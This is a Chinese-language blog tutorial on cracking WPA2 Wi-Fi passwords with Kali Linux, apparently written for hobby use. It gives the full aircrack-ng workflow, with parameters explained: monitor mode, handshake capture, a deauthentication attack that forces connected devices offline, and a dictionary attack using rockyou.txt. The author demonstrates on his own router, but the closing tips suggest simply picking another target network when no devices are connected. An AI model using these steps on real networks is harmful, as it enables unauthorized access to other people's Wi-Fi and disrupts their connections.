国庆放假在家有点闲,想着之前尝试用kali破解wifi一直没有成功过,何不趁这个机会再试一试。
一、准备工作
1.kali操作系统或者kali虚拟机
2.如果是虚拟机还需要一个kali能识别的无线网卡(常见的有芯片为3070和8187)
3.强大的字典(kali中也有自带的,不过还是自己收集的好用一些)
解压kali中的自带的rockyou.txt.gz:
gzip -d /usr/share/wordlists/rockyou.txt.gz
二、破解步骤
2.1 断开kali连接的wifi,并检查网卡状态
终端中命令:
airmon-ng
出现如上图所示的信息代表无线网卡被识别,可用状态。如果什么也没有显示,那就是无线网卡没有被识别。
2.2 开启无线网卡的监控模式
命令:
airmon-ng start wlan0
monitor enable 表示监听开启 并且同时网卡接口变为wlan0mon,可以用ifconfig来验证
2.3 搜索wifi
命令:
airodump-ng wlan0mon
这样就可以看到kali所能找到的附近的wifi
2.4 抓设备连接WiFi时的握手包
我这里就以自己家的WiFi为例来抓取:
命令:
airodump-ng -c 11 --bssid B8:F8:83:32:17:60 -w ~/ wlan0mon
参数解释:
-c 表示信道,目标路由器在哪个信道上就写哪个信道。
--bssid 表示目标路由器的MAC地址
-w 表示握手包存放的路径
注:handshake握手包只有设备与路由器的wifi相连时才会产生,就是说如果没有设备相连那么就抓不到,那么就一直等待?
不会的,有一条断网命令,利用向连接wifi的设备发送反证包的原理,让设备断开wifi,断开之后该设备会自动再次连接WiFi,这时候就可以抓到handshake包。
命令:
aireplay-ng -0 10 -a B8:F8:83:32:17:60 -c 1C:91:48:A9:48:FD wlan0mon
参数:
-0表示deauthentication攻击
10表示一次发送10个反证包
-a表示目的路由器的MAC地址
-c表示目标设备的MAC地址
如果发了反证包还是抓不到,那就一次多发几个包,多发几次。
抓到握手包之后可以Ctrl+C停止抓包,并关闭无线网卡的监控模式
命令:
airmon-ng stop wlan0mon
monitor disable表示监控模式已关闭
2.5 利用抓到的握手包进行破解密码
命令:
aircrack-ng -a2 -b B8:F8:83:32:17:60 -w /usr/share/wordlists/rockyou.txt ~/*.cap
参数:
-a2表示WPA2的握手包
-b表示目标路由器MAC
-w表示字典所在路径
最后一个参数是抓到的handshake包
成功破解。
三、总结
3.1 有时候运气不好发现目的WiFi上并没有连接任何设备,那只能等待有人连接或者放弃,重新选择一个目标WiFi。
3.2 在进行发送反证包的时候,有时候会出现信道不一样的状态,百度之说是内核问题,遇到这种问题,多重复几次操作就行,遇上信道匹配的概率还是很大的。
3.3 字典的强大是必须的。